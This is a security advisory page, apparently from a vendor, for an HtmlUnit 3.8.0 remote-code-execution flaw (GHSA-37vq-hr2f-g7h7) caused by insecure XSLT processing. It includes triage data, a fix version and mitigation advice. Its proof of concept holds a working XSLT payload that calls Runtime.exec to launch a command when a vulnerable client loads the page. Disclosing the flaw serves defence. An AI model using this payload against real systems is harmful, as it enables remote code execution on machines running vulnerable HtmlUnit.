GHSA-37vq-hr2f-g7h7 — htmlunit
CRITICALGHSA-37vq-hr2f-g7h7 is a critical-severity (CVSS 9.8) Code Injection vulnerability in org.htmlunit:htmlunit. 1 public exploit reference exists, so weaponization risk is real. A fix is available for org.htmlunit:htmlunit — see the affected versions and patch details below.
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-37vq-hr2f-g7h7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-37vq-hr2f-g7h7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.htmlunit:htmlunitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage
Details
Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)
The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor
PoC
pom.xml:
<dependency>
<groupId>org.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>3.8.0</version>
</dependency>
code:
WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());
test.html:
<script>
var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
var xslProc;
xslDoc.async = false;
xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<span><xsl:value-of select="$processString"/></span>
</xsl:template>
</xsl:stylesheet>`)
if (xslDoc.parseError.errorCode != 0) {
var myErr = xslDoc.parseError;
document.write("ParseError: "+myErr.reason);
} else {
xslt.stylesheet = xslDoc;
var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
xmlDoc.async = false;
xmlDoc.loadXML("<s></s>");
if (xmlDoc.parseError.errorCode != 0) {
var myErr = xmlDoc.parseError;
document.write("Document error: " + myErr.reason);
} else {
xslProc = xslt.createProcessor();
xslProc.input = xmlDoc;
xslProc.transform();
document.write(xslProc.output);
}
}
</script>
Impact
Remote Code Execution
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.htmlunit:htmlunit | all versions | 3.9.0org.htmlunit:htmlunit:3.9.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.htmlunit:htmlunit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.htmlunit:htmlunit to 3.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-37vq-hr2f-g7h7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-37vq-hr2f-g7h7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-37vq-hr2f-g7h7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is GHSA-37vq-hr2f-g7h7 in your dependencies?
O3 Security finds GHSA-37vq-hr2f-g7h7 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.